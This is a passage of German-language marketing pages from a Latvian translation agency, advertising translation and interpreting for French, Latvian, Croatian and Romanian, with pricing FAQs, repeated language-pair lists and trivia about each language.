Zusammenarbeit zwischen den beiden Ländern. Frankreich war eines der ersten Länder, mit denen das Verteidigungsministerium zusammengearbeitet hat. Ebenso hat Frankreich bereits sechs NATO-Luftraumüberwachungsmissionen in den baltischen Staaten durchgeführt. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/ INS FRANZÖSISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Französisch; Französisch nach Lettisch; Estnisch nach Französisch; Französisch nach Estnisch; Litauisch nach Französisch; Französisch nach Litauisch; Russisch nach Französisch; Französisch nach Russisch; Tschechisch nach Französisch; Französisch nach Tschechisch; Polnisch nach Französisch; Französisch nach Polnisch; Ukrainisch nach Französisch; Französisch nach Ukrainisch; Englisch nach Französisch; Französisch nach Englisch; Französisch nach Spanisch; Spanisch nach Französisch; Deutsch nach Französisch; Französisch nach Deutsch; Italienisch nach Französisch; Französisch nach Italienisch; Dänisch nach Französisch; Französisch nach Dänisch; Norwegisch nach Französisch; Französisch nach Norwegisch; Schwedisch nach Französisch; Französisch nach Schwedisch; Finnisch nach Französisch; Französisch nach Finnisch und andere. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/ INS FRANZÖSISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Französisch; Französisch nach Lettisch; Estnisch nach Französisch; Französisch nach Estnisch; Litauisch nach Französisch; Französisch nach Litauisch; Russisch nach Französisch; Französisch nach Russisch; Tschechisch nach Französisch; Französisch nach Tschechisch; Polnisch nach Französisch; Französisch nach Polnisch; Ukrainisch nach Französisch; Französisch nach Ukrainisch; Englisch nach Französisch; Französisch nach Englisch; Französisch nach SpanischSpanisch nach Französisch; Deutsch nach Französisch; Französisch nach Deutsch; Italienisch nach Französisch; Französisch nach Italienisch; Dänisch nach Französisch; Französisch nach Dänisch; Norwegisch nach Französisch; Französisch nach Norwegisch; Schwedisch nach Französisch; Französisch nach Schwedisch; Finnisch nach Französisch; Französisch nach Finnisch und andere. --- > Allgemeine, fachspezifische und notariell beglaubigte Übersetzungen und Dolmetscherdienste. Lettische Sprachkurse. Mehr als 25 Jahre Erfahrung! - Published: 2025-01-06 - Modified: 2025-03-25 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN IN LETTISCH WIE VIEL KOSTEN ÜBERSETZUNGEN IN LETTISCHE ? Die Kosten für jeden Auftrag werden individuell berechnet. Der Preis kann je nach verschiedenen Faktoren wechseln - der Abgabefrist, der fachspezifischen Branche, ob wir die passende Terminologie haben, der Korrektur, der Formatierung, der Bild-, Skizzen- und Grafikformatierung sowie den vom Kunden gewünschten Zusatzleistungen (notarielle Beglaubigungen, Dokumentenbeglaubigung mit Apostille usw. ). GIBT ES EINE PREISLISTE? Ja, die Preisliste für Übersetzungen und Dolmetscherdienste aus dem und ins Lettische ist in der Regel ein fester Bestandteil unseres Kundenverträge, daher geben wir vor Beginn eines Projekts immer detaillierte Informationen über den Preis der Übersetzung. Der Preis für jedes Angebot wird individuell gemäß der aktuellen Preisliste und unter Berücksichtigung der Anzahl der Wörter und Wiederholungen im zu übersetzenden Material sowie anderer Faktoren berechnet. Senden Sie uns einfach Ihr Material an unsere E-Mail, um ein Preisangebot zu erhalten. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Lettische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unser Angebot an lettischen Sprachdienstleistungen umfasst: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Lettisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE LETTISCHE SPRACHE Die Wurzeln der lettischen Sprache stammen aus dem Sanskrit. Sie stammt aus der indogermanischen Sprachfamilie und ist eine der ältesten Sprachen Europas. Heute ist nur noch das Litauische mit dem Lettischen verwandt. Diese beiden Sprachen bilden einen eigenen Zweig in der Klassifikation der europäischen Sprachen. Lettisch hat drei Hauptdialekte - Livländisch, Mittellettisch und Hochlettisch. Das literarische Lettisch basiert auf dem Mittellettischen. Lettisch ist die Muttersprache von etwa 1,3 Millionen Menschen, hauptsächlich in Lettland, wo es Amtssprache ist. Etwa 400. 000 lettischsprachige Menschen leben im Ausland: in Russland, den USA, Kanada, Australien usw. Natürlich wird Lettisch als Zweitsprache von etwa einer halben Million Menschen anderer Nationalitäten, die in Lettland leben, gesprochen. Und die Tatsache, dass Lettland zufällig die Invasion anderer Nationen aus nah und fern überlebt hat, ist ziemlich überraschend. Die Erklärung für dieses Phänomen könnte in den lettischen Bräuchen und Traditionen liegen. Erwähnenswert sind hier die 200. 000 von K. Barons zwischen 1894 und 1915 gesammelten Staatslieder, die zum Weltkulturerbe gehören. Das lettische Alphabet hat 33 Buchstaben. Im Lettischen wird die erste Silbe fast immer betont. Es gibt drei Intonationen: gerade, fallend und gebrochen. Das erste gedruckte Buch in lettischer Sprache war der Katoļu katķisms (Katholischer Katechismus), der 1585 in Vilnius veröffentlicht wurde. Das Buch konnte bis heute erhalten werden. Im Jahr 1644 wurde das erste Grammatikbuch veröffentlicht. Die erste Wochenzeitung Latviešu Avīze (Lettische Zeitung) wurde von 1822 bis 1915 in Jelgava herausgegeben. 1918 erkannte die Republik Lettland Lettisch als Amtssprache an, doch 1944 wurde dieser Status infolge der Besatzung wieder aufgehoben. Im Jahr 1988 wurde ein Gesetz zur Erneuerung des Sprachstatus verabschiedet. Weltweit gibt es etwa 20 Universitäten, die akkreditierte lettische Studiengänge anbieten. Das längste Wort im Lettischen ist „pretpulksteņrādītājvirziens“ (gegen den Uhrzeigersinn). DAS LETTISCHE ALPHABET Das lettische Alphabet basiert auf dem lateinischen Alphabet des 16. Jahrhunderts, als deutsche Minister die ersten Bücher nach den Regeln der deutschen Sprache oder in Fraktur druckten. Viele Jahrhunderte lang wurden die gotische und die lateinische Schrift parallel verwendet. Erst in der zweiten Hälfte des 20. Jahrhunderts wurde das lettische Alphabet zu dem, was es heute ist. Das lettische Alphabet besteht aus 33 Buchstaben. WIE KOMPLEX IST DIE LETTISCHE SPRACHE? Heutzutage entscheiden sich immer mehr Menschen aus verschiedenen Gründen Lettisch zu lernen. Einige brauchen es für die Arbeit, andere wollen die Sprache lernen, bevor sie Lettland besuchen. Es gibt auch Leute, die ihre Freunde und Familienangehörigen, deren Muttersprache Lettisch ist, angenehm überraschen wollen. Viele Ausländer sind vom Klang der lettischen Sprache fasziniert, was nicht nur das Interesse an der Sprache, sondern auch an der Kultur, den Traditionen und dem Land weckt. Die lettische Grammatik zählt zu den schwierigsten der Welt. Die Sprache ist sehr flexibel, es gibt viele Fälle, weiche und harte Laute, die das Erlernen der Sprache erschweren. Es ist schwierig, im Satzbau den Genitiv einzubauen, wenn andere Sprachen ihn gar nicht besitzen. ANDERE VERBREITETE SPRACHEN IN LETTLAND Die meist verbreiteten Sprachen unter den Letten sind Lettisch, Englisch und Russisch. Für eine kleine Anzahl von Bürgern sind Weißrussisch, Ukrainisch, Polnisch, Litauisch, Romani, Estnisch und Deutsch ihre Muttersprachen. WO UND WIE VIELE MENSCHEN SPRECHEN LETTISCH? Gegenwärtig fällt die Verbreitung des Lettischen mit der Grenze des Landes zusammen. Für rund 1,5 Millionen Bürger ist es ihre Muttersprache. 1,38 Millionen von diesen Muttersprachlern leben in Lettland. Der andere Teil ist verstreut auf der ganzen Welt - in den USA, Kanada, Schweden, Russland, Australien, Großbritannien, Deutschland und weiteren Ländern. Lettisch als Zweitsprache wird von einer halben Million Einwohner anderer Nationalitäten in Lettland verwendet. WAS REGELT DEN SPRACHGEBRAUCH IN DER PRESSE? Das Staatliche Sprachenzentrum regelt den Gebrauch der lettischen Sprache in Presse und Medien. LETTISCH IN DER GESCHÄFTSWELT Die lettische Sprache ist für die Geschäftsbeziehungen in Lettland von großer Bedeutung. Für rund 60% der lettischen Bevölkerung ist es die tägliche Kommunikationssprache, sowohl zu Hause als auch am Arbeitsplatz. Außerhalb Lettlands wird die lettische Sprache nicht für geschäftliche Zwecke verwendet. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE LETTISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzung; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachkurse; Kindercamps. SPRACHKOMBINATIONEN: Lettisch nach Englisch; Englisch nach Lettisch; Estnisch nach Lettisch; Lettisch nach Estnisch; Litauisch nach Lettisch; Lettisch nach Litauisch; Russisch nach Lettisch; Lettisch nach Russisch; Tschechisch nach Lettisch; Lettisch nach Tschechisch; Polnisch nach Lettisch; Lettisch nach Polnisch; Ukrainisch nach Lettisch; Lettisch nach Ukrainisch; Lettisch nach Spanisch; Spanisch nach Lettisch; Deutsch nach Lettisch; Lettisch nach Deutsch; Italienisch nach Lettisch; Lettisch nach Italienisch; Französisch nach Lettisch; Lettisch nach Französisch; Dänisch nach Lettisch; Lettisch nach Dänisch; Norwegisch nach Lettisch; Lettisch nach Norwegisch; Schwedisch nach Lettisch; Lettisch nach Schwedisch; Finnisch nach Lettisch; Lettisch nach Finnisch und andere. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE LETTISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzung; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Lettische Sprachkurse; Kindercamps. SPRACHKOMBINATIONEN: Lettisch nach Englisch; Englisch nach Lettisch; Estnisch nach Lettisch; Lettisch nach Estnisch; Litauisch nach Lettisch; Lettisch nach Litauisch; Russisch nach Lettisch; Lettisch nach Russisch; Tschechisch nach Lettisch; Lettisch nach Tschechisch; Polnisch nach Lettisch; Lettisch nach Polnisch; Ukrainisch nach Lettisch; Lettisch nach Ukrainisch; Lettisch nach Spanisch; Spanisch nach Lettisch; Deutsch nach Lettisch; Lettisch nach Deutsch; Italienisch nach Lettisch; Lettisch nach Italienisch; Französisch nach Lettisch; Lettisch nach Französisch; Dänisch nach Lettisch; Lettisch nach Dänisch; Norwegisch nach Lettisch; Lettisch nach Norwegisch; Schwedisch nach Lettisch; Lettisch nach Schwedisch; Finnisch nach Lettisch; Lettisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen in kroatischer Sprache. Dolmetschen und Sprachdienstleistungen für die kroatische Sprache. Erhalten Sie ein kostenloses Angebot in 15 Minuten! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS KROATISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS KROATISCHE? Die Kosten für die Übersetzung vom und ins Kroatische werden für jeden Auftrag individuell berechnet. Der Preis für Konsekutiv- und Simultandolmetschen richtet sich nach der Dauer der Dienstleistung, dem Ort, den Reisekosten und dem Tagessatz; beim Simultandolmetschen werden die technische Ausrüstung, die Anzahl der Dolmetscher und andere Aspekte berücksichtigt. Der Preis für schriftliche Übersetzungen setzt sich zusammen aus dem Umfang und der Lesbarkeit des übersetzten Materials, dem Abgabetermin der Übersetzung, der Komplexität der Fachterminologie, den Textwiederholungen, der Formatierung und der Komplexität der Bilder und Grafiken, der Korrektur sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für Übersetzungen und Dolmetschen (Simultan- und Konsekutivdolmetschen), Lokalisierung und Adaption aus dem und ins Kroatische fester Bestandteil unserer Verträge mit den Kunden. Die Projektmanager des Übersetzungsbüros Skrivanek Baltic bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Das Preisangebot wird in etwa 30 Minuten erstellt. Der Preis für schriftliche Übersetzungen richtet sich nach der Anzahl der Wörter im Text, den Wiederholungen, der Komplexität der grafischen Elemente und anderen Faktoren. Damit Sie ein Kostenvoranschlag erhalten können, warten wir darauf, dass Ihre Unterlagen in unsere E-Mail übersetzt wird. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Kroatische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere kroatischen Sprachdienstleistungen umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Kroatisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE KROATISCHE SPRACHE Sollten Ihre Reisen Sie eines Tages nach Kroatien führen, können Sie sich sehr glücklich schätzen. Kroatien ist ein wunderschönes Land mit großzügigen Menschen, einer melodischen Sprache, wunderbarer Volksmusik, mutigen Männern und freundlichen Gastgebern. Das smaragdgrüne adriatische Meer, die Arena von Pula, der Honig der schwarzen Kiefern und die Plitvicer Seen. Kroatisch ist eine slawische Sprache, die zum südslawischen Sprachzweig der indogermanischen Sprachfamilie gehört. Kroatisch ist (neben Serbisch, Bosnisch und Montenegrinisch) eine der zentralen südslawischen Sprachen. Kroatisch ist dem Serbischen, Bosnischen und Montenegrinischen recht ähnlich. Das literarische Kroatisch begann sich im 15. Jahrhundert zu entwickeln, aber seine vielen regionalen Varianten und seine heutige Struktur entstanden erst im 19. Jahrhundert, als man eine einheitliche südslawische Sprache anstrebte. Infolgedessen wurden Serbisch und Kroatisch einander recht ähnlich und wurden während des größten Teils des 20. Jahrhunderts als dieselbe Sprache betrachtet - die serbokroatische Sprache. Umgekehrt hat das Montenegrinische einen ähnlichen Wortschatz wie das Serbische und wird manchmal als serbische Variante angesehen. Bosnisch kann man schwerer zuordnen, aber es ist klar, dass es mit dem Serbischen und Kroatischen verwandt ist und phonetisch dem Montenegrinischen ähnelt. Die Sprecher dieser vier Sprachen können einander verstehen und miteinander kommunizieren. Die größten Unterschiede zwischen den Sprachen bestehen in der spezifischen Terminologie in den Bereichen Mathematik, Biologie, Recht und Kulinarik. Auch die Schriftsysteme unterscheiden sich. Serbisch und Montenegrinisch verwenden sowohl das lateinische als auch das kyrillische Alphabet, während Bosnisch und Kroatisch nur das lateinische Alphabet verwenden. Kroatien ist in 3 Dialektregionen unterteilt - Štokavisch, Čakavisch und Montenegrinisch. Literarische Werke wurden in allen drei Dialekten verfasst, aber der štokavische Dialekt war die Grundlage für das literarische Kroatisch. Das Wort Enzyklopädie wurde erstmals 1559 von einem kroatischen Enzyklopädisten und Reisenden, Paul Skalich aus Zagreb, verwendet. Sein Buch Encyclopaedia seu orbis disciplinarum tam sacrarum quam prophanarum epistemon war eines der ersten Bücher, das dieses Wort im Titel trug. Historischen Angaben zufolge war das Buch schlecht geschrieben, dennoch ist es bedeutsam, da das Wort zum ersten Mal hier vorkommt. Im Jahr 1843 war Ivan Kukuljević Sakcinski der erste, der im Parlament Kroatisch sprach. In seiner Rede rief er die Menschen dazu auf, mutig zu sein und sich der nationalen Befreiungsbewegung anzuschließen, und forderte, dass Kroatisch zur offiziellen Sprache in Schulen und am Arbeitsplatz wird. Er wies auch auf die negativen Folgen hin, die sich für Staat und Gesellschaft ergeben könnten, wenn Kroatisch durch eine andere Sprache ersetzt würde. Das Wort Paprika bedeutet getrockneter und gemahlener Pfeffer. Auch wenn dieses Wort in vielen Sprachen verwendet wird, kommt es aus dem Kroatischen und wird nicht übersetzt. Das kroatische Wort für Maiskolben hat die größte Anzahl an Synonymen. Seine Synonyme sind ajdamak, bat, batakljuša, bataljika, batučak, batuček, batuk, baturak, baturice, čepina, čokotinja, ćuka, kic, klas, klasina, klasinec, klasovina, klasovinje, kočanj, kocen, komaljika, komušina, kururuzina, komušina, kururuzina kuruška, oklipak, okoma, okomak, okomina, okrunica, orušek, otučak, paćika, patura, paturica, rucelj, rucl, rulina, šapurika, ščavina, šepurina, štruk, tekun, tulina, tulinek. Die erste kroatische Grammatikbuch wurde von Bartol Kašić geschrieben und 1604 veröffentlicht, nur 18 Jahre nach dem ersten englischen Grammatikbuch. Das Buch wurde in Latein geschrieben. DAS KROATISCHE ALPHABET Das geschriebene Kroatisch verwendet das lateinische Alphabet, obwohl in der Frühzeit des Königreichs Kroatien die glagolitische Schrift (eine für slawische Sprachen geschaffene Schrift) oder das bosnische Kyrillisch verwendet wurden. Eine Zeit lang wurden alle drei Schriftsysteme in verschiedenen Regionen Kroatiens gleichzeitig verwendet. Das lateinische Alphabet wurde schließlich das wichtigste Schriftsystem. Das kroatische Alphabet besteht aus 27 Buchstaben und 3 Diphthongen: Aa, Bb, Cc, Čč, Ćć, Dd, Dž dž, Đ đ, Ee, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Lj lj, Mm, Nn, Nj nj, Oo, Pp, Rr, Ss, Šš, Tt, Uu, Vv, Zz, Žž. Die Buchstaben q, w, x und y werden im Kroatischen nicht verwendet. Ein Buchstabe steht für einen Laut und seine Schreibweise entspricht der Aussprache. WIE SCHWIERIG IST KROATISCH? Kroatisch ist in Kategorie 3 der schweren Sprachen eingestuft. Es würde 1100 Lernstunden erfordern, um sich auf Kroatisch unterhalten zu können. Da Kroatisch eine slawische Sprache ist, ist es für Muttersprachler anderer slawischer Sprachen leichter und schneller, Kroatisch zu lernen. Wenn Sie Kroatisch lernen, wird das Erlernen anderer slawischer Sprachen keine großen Schwierigkeiten bereiten und Ihnen die Möglichkeit geben, sich mit Menschen in slawischen Ländern zu verständigen. Die kroatische Grammatik ist recht komplex, was für alle slawischen Sprachen charakteristisch ist. Es gibt zwei Numeri (Singular und Plural), sieben Fälle (Nominativ, Genitiv, Dativ, Akkusativ, Vokativ, Lokativ und Instrumental) und drei Geschlechter (Femininum, Maskulinum und Neutrum). Theoretisch haben also alle Substantive 42 Formen. Verben haben sieben Zeitformen, zwei Numeri und drei Personen (Singular: du, ich, sie, er, es, und Plural: wir, du, sie). Verben haben ebenfalls zwei Aspekte ─ vollendet und unvollendet und der Aspekt jedes Verbs muss gelernt werden, da die Konjugation davon abhängt, z. B. skočiti „springen“ (engl. „to jump“) und skakati „springen“ (engl. „to be jumping). Im Deutschen gibt es diesen Unterschied nicht. DOLMETSCHER UND ÜBERSETZER FÜR DIE KROATISCHE SPRACHE Die kroatischen Übersetzer und Dolmetscher von Skrivanek Baltic bieten Übersetzungen von Standarddokumenten, komplexe technische Übersetzungen und notariell beglaubigte Übersetzungen an. Das Übersetzungsbüro Skrivanek Baltic bietet auch die Erstellung von SEO-Inhalten, das Korrekturlesen und die stilistische Verbesserung von Texten auf Kroatisch an. Unsere Linguisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Am häufigsten übersetzen wir für Geschäftskunden folgende Texte aus dem und ins Kroatische: Inhalte von Websites und E-Commerce, Adaption von Werbeslogans, Kooperationsverträge und Geschäftsunterlagen. Wir nehmen auch sequentielles Dolmetschen bei geschäftlichen oder anderen Gesprächen sowie bei Konferenzen auf Zoom und anderen Online-Plattformen. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. WO UND WIE VIELE MENSCHEN SPRECHEN KROATISCH? Weltweit gibt es etwa 5,7 Millionen kroatischsprachige Menschen, die meisten von ihnen leben in Kroatien. Es ist die Amtssprache in Bosnien und Herzegowina und in der serbischen Region Vojvodina sowie eine der Amtssprachen in der Europäischen Union. Sie ist eine Minderheitensprache in Montenegro, Ungarn, Österreich, Italien und Rumänien. Kroatische Minderheiten leben in zahlreichen Ländern der Welt, darunter Deutschland, Schweden, Frankreich, Argentinien, USA, Kanada, Australien und Neuseeland. DIE KROATISCHE SPRACHE IN DER GESCHÄFTSWELT Die meisten kroatischen Unternehmer und CEOs sprechen mehrere Sprachen. Die wichtigsten Geschäftssprachen sind Kroatisch, Englisch, Deutsch und Italienisch (vor allem in den Küstenregionen Istriens). Heutzutage sprechen die meisten Jungunternehmer fließend Englisch, aber es wird empfohlen, dass ausländische Geschäftspartner vor einem Geschäftstreffen fragen, ob ein Dolmetscher benötigt wird, um unangenehme Situationen zu vermeiden. Es ist auch ratsam, ein paar Höflichkeitsfloskeln auf Kroatisch zu lernen, damit Sie ein respektvolles Geschäftsgespräch führen können und Ihr kroatischer Geschäftspartner Ihr Interesse an seiner Kultur und seinem Land erkennt. Haltung und persönliche Werte sind wichtig für die Entwicklung von Geschäftsbeziehungen zwischen zwei Kulturen oder Ländern. Die Kroaten sind dafür bekannt, dass sie ziemlich locker sind, auch wenn sie ein hohes Maß an Professionalität an den Tag legen. Die Kroaten sind freundlich und lebhaft, aber sie brauchen ein paar Treffen, um Sie kennen zu lernen und sich wohl zu fühlen. Kroatische Sprachkenntnisse sind nützlich, wenn Sie Ihr Unternehmen in einem der ehemaligen jugoslawischen Länder aufbauen oder gründen wollen. KROATIEN UND LETTLAND Lettland und Kroatien pflegen freundschaftliche Beziehungen. Beide Länder sind im engen politischen Dialog; die Parlamente konnten eine erfolgreiche Zusammenarbeit aufbauen. Beide Länder haben außerdem eine Reihe von Verträgen unterzeichnet. Eine der Hauptprioritäten ist der Ausbau der wirtschaftlichen Handelsbeziehungen, da hier ein großes Potential gesehen wird. Die kulturelle Zusammenarbeit ist von großer Bedeutung. Jedes Jahr treffen Schriftsteller aus Kroatien im Internationalen Schriftsteller- und Übersetzerhaus in Ventspils ein. Kroatische Schriftsteller wie Petar Coric, Zoran Pilic, Josip Novakovich, Una Vizek, Zeljka Cernok, Una Vizek und Ivan Zrinusic wohnen seit 2015 in dem Haus. Der lettische Schriftstellerverband hat eine Zusammenarbeit mit dem Festival der Europäischen Kurzgeschichte in Zagreb aufgenommen. Aivars Leimanis, künstlerischer Leiter der Lettischen Nationalen Ballettkompanie, inszenierte 2018 am Kroatischen Nationaltheater in Split das Ballett Korsārs von Ādolfs Adāns. Die lettische Kulturakademie arbeitet im Rahmen des Austauschprogramms Erasmus+ eng mit Kroatien zusammen. Zwei Vereinbarungen wurden mit der Josip-Juraj-Strossmayer-Universität in Osijek und der Akademie für Dramatische Kunst an der Universität Zagreb unterzeichnet. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/INS KROATISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Kroatisch; Kroatisch nach Lettisch; Estnisch nach Kroatisch; Kroatisch nach Estnisch; Litauisch nach Kroatisch; Kroatisch nach Litauisch; Englisch nach Kroatisch; Kroatisch nach Lettisch; Russisch nach Kroatisch; Kroatisch nach Russisch; Tschechisch nach Kroatisch; Kroatisch nach Tschechisch; Polnisch nach Kroatisch; Kroatisch nach Polnisch; Ukrainisch nach Kroatisch; Kroatisch nach Ukrainisch; Kroatisch nach Spanisch; Spanisch nach Kroatisch; Deutsch nach Kroatisch; Kroatisch nach Deutsch; Italienisch nach Kroatisch; Kroatisch nach Italienisch; Französisch nach Kroatisch; Kroatisch nach Französisch; Dänisch nach Kroatisch; Kroatisch nach Dänisch; Norwegisch nach Kroatisch; Kroatisch nach Norwegisch; Schwedisch nach Kroatisch; Kroatisch nach Schwedisch; Finnisch nach Kroatisch; Kroatisch nach Finnisch und andere. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/INS KROATISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Kroatisch; Kroatisch nach Lettisch; Estnisch nach Kroatisch; Kroatisch nach Estnisch; Litauisch nach Kroatisch; Kroatisch nach Litauisch; Englisch nach Kroatisch; Kroatisch nach Lettisch; Russisch nach Kroatisch; Kroatisch nach Russisch; Tschechisch nach Kroatisch; Kroatisch nach Tschechisch; Polnisch nach Kroatisch; Kroatisch nach Polnisch; Ukrainisch nach Kroatisch; Kroatisch nach Ukrainisch; Kroatisch nach Spanisch; Spanisch nach Kroatisch; Deutsch nach Kroatisch; Kroatisch nach Deutsch; Italienisch nach Kroatisch; Kroatisch nach Italienisch; Französisch nach Kroatisch; Kroatisch nach Französisch; Dänisch nach Kroatisch; Kroatisch nach Dänisch; Norwegisch nach Kroatisch; Kroatisch nach Norwegisch; Schwedisch nach Kroatisch; Kroatisch nach Schwedisch; Finnisch nach Kroatisch; Kroatisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen, Dolmetschen, Lokalisierung und andere Sprachdienstleistungen auf Rumänisch. Erhalten Sie ein unverbindliches und kostenloses Angebot! - Published: 2025-01-06 - Modified: 2025-03-28 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS RUMÄNISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS RUMÄNISCHE? Der Preis für die Übersetzung ins und aus dem Rumänischen im Übersetzungsbüro Skrivanek wird für jeden Auftrag individuell festgelegt. Der Preis richtet sich nach dem Umfang des Materials, der Abgabefrist, den Besonderheiten des Textinhalts, den Wiederholungen im Text, der grafischen Bearbeitung, der Textformatierung, der Korrektur sowie den vom Kunden gewünschten Zusatzleistungen. GIBT ES EINE PREISLISTE? Ja, die Preisliste für schriftliche Übersetzungen sowie für Dolmetschen, 